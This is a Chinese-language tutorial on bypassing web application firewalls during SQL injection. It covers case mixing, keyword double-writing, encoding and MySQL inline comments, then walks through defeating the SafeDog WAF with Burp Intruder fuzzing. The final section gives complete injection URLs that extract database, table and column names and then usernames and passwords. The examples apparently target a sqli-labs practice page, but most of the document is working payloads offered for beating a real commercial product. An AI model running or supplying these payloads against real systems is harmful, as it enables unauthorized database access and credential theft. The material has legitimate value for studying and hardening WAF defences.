常规的几种绕过方式:
1. 大小写绕过:
如果程序中设置了过滤关键字,但是程序只是对 and ,AND 或者 or,OR 设置了关键字过滤,那么你就可以使用大小写过滤
例如 :and,or
当然不局限于 and,其它的例如 union 一些关键字如果只是设置了关键字过滤,没有进行深度过滤的话,都是可以使用大小写过滤的
2. 双写绕过:在程序中对某一个关键字例如
union 设置了过滤清空,那么此时你就可以用
UniunionOn 这么一来,就可以实现绕过
当然你是可以结合大小写绕过进行编写的
select id=1 Uniutionon from
3. 编码绕过:通过 url 编码将语句或关键字进行编码
4. 内联注释绕过:
在 mysql 中,内联注释里的 Sql 语句是会被执行的,语法如下:等价于 select * from users
/*!SELECT*/ * FROM users
如果在 /!SELECT/ 中里面不加 ! ,则 /SELECT/ 会以注释的形式存在,这时 select 将不会被当成语句执行,会出现语法错误
/*Select*/ From Users
报错如下所示:
使用该内连接进行绕过的时候,也是可以结合之前的大小写以及双写进行绕过的,结合实际情况进行选择
安全狗的详细绕过:
这里我们以安全狗作为案例,如果你按照常规方法输入 and,那么它会对这个进行一个过滤,从而出现如下界面
1. 安全狗 and 的绕过(防止 and 和 or 的注入):
将 and 修改为 /!12345and/
注意12345是任意的五位数字,五位!(通常4-6位数字)
然后通过 burp 进行拦截,然后发送到 intruder 模块
然后我们需要先点击 clear,然后选中 12345 点击 add
然后即可进行爆破
然后就是找特征值,例如 14414 即为我们的 payload
http://security/Less-1/?id=2' /*14414and*/ 1=1 -- 1
and 绕过使用 /!12345/
另外 12345 这几个数字是随机的,位数推荐 4-6 位
2. 安全狗 order by 的绕过(防止 ordery by 函数的利用):
当你的 get 请求 order by 如果是一起出现的时候,则会出现安全狗警告,这个时候你可以在 order 和 by 之间添加一些字符,(还是 4-6 位)触发页面如下:
order /特殊符号/ by
注意这里我们不用加上 !,因为我们是添加干扰字符
这里和上面 and 或者 or 绕过的方式不同的是,这里我们采用的是 在 order 和 by 之间添加干扰字符,而不是数字,从而实现绕 过
推荐使用的特殊字符:/$%^&*
同样的原理,对其进行爆破之后,得到 payload 为 //%$
http://security/Less-1/?id=2' order /*//%$*/ by 1 -- 1
3. 安全狗 select union 的绕过(防止联合查询 union):
select 和 union 放在一起的时候会触发
跟上面那个 order by 放在一起会触发一样的绕过道理,不过 select union 需要我们再次通过 burp 进行 fuzz
既然一样的绕过方式,那么 select //$%^/ union 也是一样的方式,抓包,然后去 fuzz
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,2,3 -- 1
上面我们介绍的是 and ,or,以及 select union 联合查询的绕过, 但是这是远远不够的,我们重点应该是放在如何绕过,从而查询数据
4. 查询数据的绕过:
database()的绕过:
database 和 ()放在一起的时候会触发 waf
因此在 database 和 ()之间添加干扰符即可
这里的干扰符是
查询库的绕过语句:
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,database/**/(),3 -- 1
查询到对应的数据库为 security,接下来就是查询表
查询表的绕过:
第一个绕过点:information_schema.tables
waf 会对后面那个 tables 进行拦截,要想绕过,需改成
information_schema./tables/
第二个绕过点:from 和 information_schema./tables/
当这两个放在一起的时候就会触发 waf,尽管 information_schema./table/ 进行了绕过,但是还是会触发 waf
这里我们就要对 from 和 information.schema./!tables/ 之间进行处理了
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,
group_concat(table_name),3 from --+ /*%/ %0a information_schema./*!tables*/ -- 1
绕过过程:首先在 union 和 select 之间放干扰符号,然后在 from 和 information_schema 之间放 --+以及正确的干扰符,然后通过 %0a 进行换行,最后把 information_schema.tables 中 tables 通过内联的方式进行绕过修改为 information_schema./!tables/
这里我们可以看到,数据全部都被取出来了,但是还有一个局限的点,这里我们没有通过 where 去指定对应的数据库,where table_name = security,因此它会查询出所有库里面的数据,因此我们还需要指出对应的库名才行
但是这里它又会出现 waf 拦截,因为 information_schema 和 where 出现在了一起,因此又需要在中间添加干扰符,在 information_schema./!tables/ /干扰符/ where 去进行 fuzz 测试
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,group_concat(table_name),3
from --+/*%/ %0a information_schema./*!tables*/ /**/
where table_schema='security' -- 1
从而获取到 security 库所有的表名:
接下来就是获取 security 对应表下的所有列名
无非多添加了一个 and,and 采用内联的方式进行绕过
http://security/Less-1/?id=-2' union
/*/$%^*/ select 1,group_concat(column_name),3
from -- +/*%/ %0a information_schema./*!columns*/
/**/ where table_schema='security' /*!12441and*/ table_name='users' -- 1
查询数据的绕过:
http://security/Less-1/?id=-2' union
/*/$%^*/ select 1,group_concat(username,0x3a,password),3 from /**/ users -- +
完美绕过安全狗
版权归原作者 ldsecurity 所有, 如有侵权,请联系我们删除。